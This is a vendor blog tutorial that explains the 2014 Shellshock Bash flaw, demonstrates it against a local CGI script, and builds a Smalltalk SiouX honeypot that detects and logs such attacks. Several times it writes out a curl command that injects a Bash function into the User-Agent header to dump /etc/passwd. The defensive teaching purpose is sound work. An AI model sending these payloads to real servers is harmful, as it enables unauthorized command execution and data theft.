Largest Provider of Commercial Smalltalk
Cincom is one of the largest commercial providers of Smalltalk, with twice as many customers and partners as other commercial providers.

Tom Nies

Get Started

What on Earth is “Shellshock Honeypot”?

Posted on in Categories Smalltalk, VisualWorks

Let’s start with the basics.

A Different Kind of Shellshock

In September of 2014, Stéphane Chazelas discovered a serious security flaw in the Unix Bash shell. The bug affects millions of *nix-based computers worldwide. Many internet daemons, such as web servers, use Bash to process certain commands, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system. The bug was assigned the name “Shellshock.”

Honeypot—it’s yummy, it’s flavourful and it’s irresistible. In computer terms, a honeypot is a trap set to detect, deflect or, in some manner, counteract attempts at unauthorized use of information systems.

In this article, I am going to show how to test your system for Shellshock vulnerability, how a simple attack against a web server can exploit it and how to build a quick and dirty honeypot using the Cincom® VisualWorks® 8.0 SiouX HTTP server. If you are using Windows, your system is not vulnerable to the Shellshock security flaw. However, the general principles of setting up a honeypot apply to any kind of environment, so you might want to continue reading. My system is Mac OSX, so I am going to use some OSX-specific terms and commands. However, they all have their equivalents in Linux and should be easy to apply to any other *nix environment.

Needless to say, don’t use some of the things I am going to show you on computers in which you are not authorized to do so! It’s illegal and could get you in a lot of trouble. Let’s get started!

Detecting Shellshock Vulnerability

To find out if your system is vulnerable to the Shellshock bug, open the terminal and type the following command:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test”

If your system is vulnerable, you will see the following output:

vulnerable
 this is a test

The “vulnerable” line is a result of Bash executing the command “echo vulnerable”, which was embedded into the specially crafted environment variable named “x”. As you can see, it’s very simple. Now you may ask, how would a remote attacker use this if they don’t have access to a shell on my computer? See the next step.

Setting Up a CGI Script in Apache Server

I am assuming that you know how to start/stop apache server on your computer. It’s included in most Unix-based systems, including OSX. One possible way that an attacker could remotely activate a shell script via a web server is to invoke a CGI script. On most systems, it would be accessed through something like http://<hostname>/cgi-bin/<scriptname>. For this example, we will only use localhost.

A quick look at the apache configuration file reveals the location of the directory where CGI script would live on your computer:

grep "cgi-bin" /etc/apache2/httpd.conf
ScriptAliasMatch ^/cgi-bin/((?!(?i:webobjects)).*$)
"/Library/WebServer/CGI-Executables/$1" #ErrorDocument 404
"/cgi-bin/missing_handler.pl”

The first line informs me that by default, cgi-bin scripts would be in the /Library/WebServer/CGI-Executables directory. Let’s make one! Start your favourite text editor to write a simple Bash script. I use the “nano” editor, and you need to start it with root privileges:

sudo nano /Library/WebServer/CGI-Executables/test-shellshock.cgi

Paste the following in the editor and save the file:

#!/bin/bash
 echo "Content-type: text/plain"
 echo
 echo
 echo "Hello, I am a shellshock test script!”

Now you need to make sure that your script is executable by setting its file permissions:

sudo chmod 755 /Library/WebServer/CGI-Executables/test-shellshock.cgi

Open your web browser and type the following address in the URL bar:

  • http://localhost/cgi-bin/test-shellshock.cgi

You will get a nice one-line like this:

Hello, I am a shellshock test script!

Your browser is most likely a well-behaved HTTP client that doesn’t put nasty stuff in the HTTP headers when accessing servers. What if you use a different kind of client; one where you can set arbitrary HTTP headers? It turns out that the command line tools like wget and curl allow such a thing. On OSX, I don’t have wget, so I am going to use curl to get some stuff from my server:

  • curl http://localhost/cgi-bin/test-shellshock.cgi

Hello, I am a shellshock test script!

Now I am going to insert a Bash function into the “User-Agent” HTTP header. In it, I instruct the shell to list the contents of the Unix password file, /etc/passwd.

  • curl -A “() { test;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” http://localhost/cgi-bin/test-shellshock.cgi

Voila! My attacker (which is me) just got access to one of my internal files, showing all of my user names:

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
 root:*:0:0:System Administrator:/var/root:/bin/sh
 daemon:*:1:1:System Services:/var/root:/usr/bin/false

… etc …

That was easy! This would be a first step in a brute-force attack against your system. Get all of the user names, and take it from there.

Naturally, you should patch your system as soon as possible to protect against that kind of vulnerability. There are many articles on the web that explain what to do. Sometimes, patching is one thing, but finding who the attackers are, where they come from and blocking their access to your server may be a desired course of action. This is where a honeypot comes in handy.

Setting Up a Honeypot

I am going to show you how to set up a very simple honeypot using VisualWorks 8.0. First, let’s make sure that you have the right stuff:

  • Start a new VisualWorks 8.0 image.
  • Load the following parcels:
    • SiouX-Examples
    • SiouX-Tools
  • Start the “Examples” server. By default, the Examples server uses port 8888. You may have to use another port if it’s in use by some other application. Here, we’ll keep using 8888.
    • In the Launcher, click on the ” Configure Web Servers” button
    • In the Web Servers window that opens, select “Examples” and check the ” Running” check box.
  • Test the Examples server:
    • Select one of the responders listed in the Web Servers window.
    • Click the Web Browser icon in the toolbar. This should open a web browser with the content generated by the selected responder, for example: http://localhost:8888/hello.

In the next steps, you will create a honeypot responder, trap shellshock attack attempts and log them to the Transcript:

  • Create Honeypot as a subclass of SiouX.HttpResponder.

Write a server configuration method on the class side to declare that an instance of Honeypot should be included in the Examples server. The name of the method doesn’t matter:

Honeypot class >> honeypotConfiguration

    <server: 'Examples' path: '/cgi-bin'>
  • Write an instance method that will test if an HTTP request is a possible Shellshock attack. All that you need to access for a request is wrapped in an instance of RequestContext. We’ll check the current request ” user-agent” header field and check if it contains a Bash function signature.  If it does, we will log it to transcript. Well return true or false indicating whether we detected an attack, so that an appropriate content can be generated by the responder.

Honeypot >> testShellshockAttack: aRequestContext

                 aRequestContext request
                             headers: 'user-agent'
                             do: [ :header | ('*()*{*' match: header
                             body rest) ifFalse: [ ^ false ]].
                 "Shellshock attack detected!"

                 Transcript cr; cr;
                             show: 'SHELLSHOCK ATTACK !!!';
                             cr;
                             show: 'From ';
                             show: aRequestContext connection id printString;
                             cr;
                             show: aRequestContext request printString.

                 ^ true
  • We should also write the method executeRequestFor: that generates some content to return to the client:

Honeypot >> executeRequestFor: aRequestContext

     ^aRequestContext response 
                 contentType:  'text/plain';
                 contents: ((self testShellshockAttack: aRequestContext)
                             ifTrue: [ 'BUSTED!']
                             ifFalse: [ 'Hello, I am a shellshock test
                             script!' ]);
                 yourself

That’s it! Now we need to perform a test to see if the honeypot works!

  • It’s a good idea to re-create the Examples server so that the Honeypot responder is automatically added to it – that’s what the honeypotConfiguration class method is for. It can be done from the Web Servers window or programmatically from a workspace:
    • (Server id: ‘Examples’) release.
    • (Server id: ‘Examples’) start.
  • From a web browser, access your honeypot. Select the Honeypot responder in the Web Servers window, and click the Web Browser icon. Alternatively, you can enter any address that starts with http://localhost:8888/cgi-bin into your web browser URL bar, for example:
    • http://localhost:8888/cgi-bin
    • http://localhost:8888/cgi-bin/test-shellshock.cgi
    • http://localhost:8888/cgi-bin/any-other-path
  • In all cases, you should see the familiar “Hello, I am a shellshock test script!” text.
  • Now use curl to see how well the Honeypot works. Some examples are below. First, try an innocent one:
    • curl http://localhost:8888/cgi-bin/any-other-path
  • Again, you will see the expected “Hello…” response.
  • Now, let’s see what happens if you inject some bash scripting into the User-Agent header field:
    • curl -A “() { test;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” http://localhost:8888/cgi-bin
    • curl -A “() { test;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” http://localhost:8888/cgi-bin/test-shellshock.cgi
    • curl -A “() { test;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” http://localhost:8888/cgi-bin/any-other-path
  • In all of these, you should see “BUSTED!” in the response. When you look at the Transcript in the Launcher, each attack is logged with something like this:
SHELLSHOCK ATTACK !!!
 From IPv4SocketAddress(127.0.0.1:61573)
 GET /cgi-bin/any-other-path HTTP/1.1
 user-agent: () { test;};echo "Content-type: text/plain"; echo; echo;
        /bin/cat /etc/passwd
 host: localhost:8888
 accept: */*

In a few simple steps, you’ve tested your local computer for the Shellshock vulnerability and created an HTTP responder that can detect and log Shellshock attacks against your server. Three methods in a single class – not bad! Of course, this is just a starting point. You could put a SiouX server behind a real HTTP server and configure it to act as a reverse proxy to forward all cgi-bin requests to your SiouX server. You can also explore various SiouX server fortification options to further protect your honeypot against other types of attacks.

I hope you give SiouX a try and be impressed by its performance, flexibility and scalability.